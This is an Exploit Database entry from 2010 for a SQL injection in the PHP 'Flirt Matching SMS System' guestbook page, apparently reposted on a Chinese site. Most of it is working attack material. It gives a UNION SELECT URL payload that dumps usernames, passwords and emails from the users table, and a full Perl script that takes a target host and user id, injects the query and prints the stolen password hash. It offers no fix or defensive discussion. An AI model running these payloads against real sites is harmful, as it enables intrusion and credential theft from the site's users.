Flirt Matching Sms System – SQL Injection

Exploit Database
100 阅读

作者： Easy Laster

日期： 2010-03-26
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/11885/

----------------------------Information------------------------------------------------

+Name : Flirt Matching SMS System <= SQL Injection Exploit

+Autor : Easy Laster

+Date : 26.03.2010

+Script: Flirt Matching SMS System

+Download : ------------------

+Demo : http://phpspezial.de/singel/

+Price : 39,99€

+Language :PHP

+Discovered by Easy Laster

+Security Group 4004-Security-Project

+Greetz to Team-Internet ,Underground Agents

+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,

Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,

N00bor,Ic3Drag0n,novaca!ne.

---------------------------------------------------------------------------------------

___ ___ ___ ___ _ _ _____ _ _

| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|_|___ ___|_|___ ___| |_

|_| | | | |_|___|_ -| -_|_| | |_| |_| | |___| __|_| . | | | -_|_|_|

|_|___|___| |_| |___|___|___|___|_| |_|_| |_| |__||_| |___|_| |___|___|_|

|___| |___|

----------------------------------------------------------------------------------------

+Vulnerability : http://www.site.com/flirt/index.php?site=guestbook&id=

+Exploitable : http://www.site.com/flirt/index.php?site=guestbook&id=9999999999+union

+select+1,2,3,4,concat(id,0x3a,username,0x3a,password,0x3a,email),6,7,8,9,10,11,12,13,14,

15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from

+users+where+id=1

-----------------------------------------------------------------------------------------

#SQL Injection Exploit

#!usr\bin\perl

##################################################

# Modules#

#------------------------------------------------#

use strict; # Better coding. #

use warnings; # Useful warnings. #

use LWP::Simple;# procedureal interface#

##################################################

print "

##################################################

#4004-Security-Project #

##################################################

#Flirt Matching SMS System SQL Injection #

# Exploit#

#Using Host+Path+Userid#

#www.demo.com /flirt/ 1#

#Discovered and vulnerability by Easy Laster #

#coded by Easy Laster#

##################################################

\a\n";

my($host,$path,$userid,$request);

my($first,$block,$error,$dir);

$block = "

##################################################\n";

$error = "Exploit failed";

print "$block";

print q(Target www.demo.com->);

chomp($host =<STDIN>);

if ($host eq""){

die "$error\a\n"};

print "$block";

print q(Path /path/ ->);

chomp($path =<STDIN>);

if ($path eq""){

die "$error\a\n";}

print "$block";

print q(userid->);

chomp($userid =<STDIN>);

if ($userid eq""){

die "$error\a\n";}

print "$block";

$dir = "index.php?site=guestbook&id=";

print "<~> Exploiting...\n";

$host = "http://".$host.$path;

print "<~> Connecting...\n";

$request = get($host.$dir."9999999999+union+select+1,2,3,4,concat(password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+users+where+id=".$userid."--");

$first = rindex($request,"Gästebuch von");

if ($first != -1)

{

print "<~> Exploiting...\n";

print "$block\n";

$request = substr($request, $first+14, 34);

print "<~> Hash = $request\n\r\n\a";

}

else

{

print "<~> $error";

}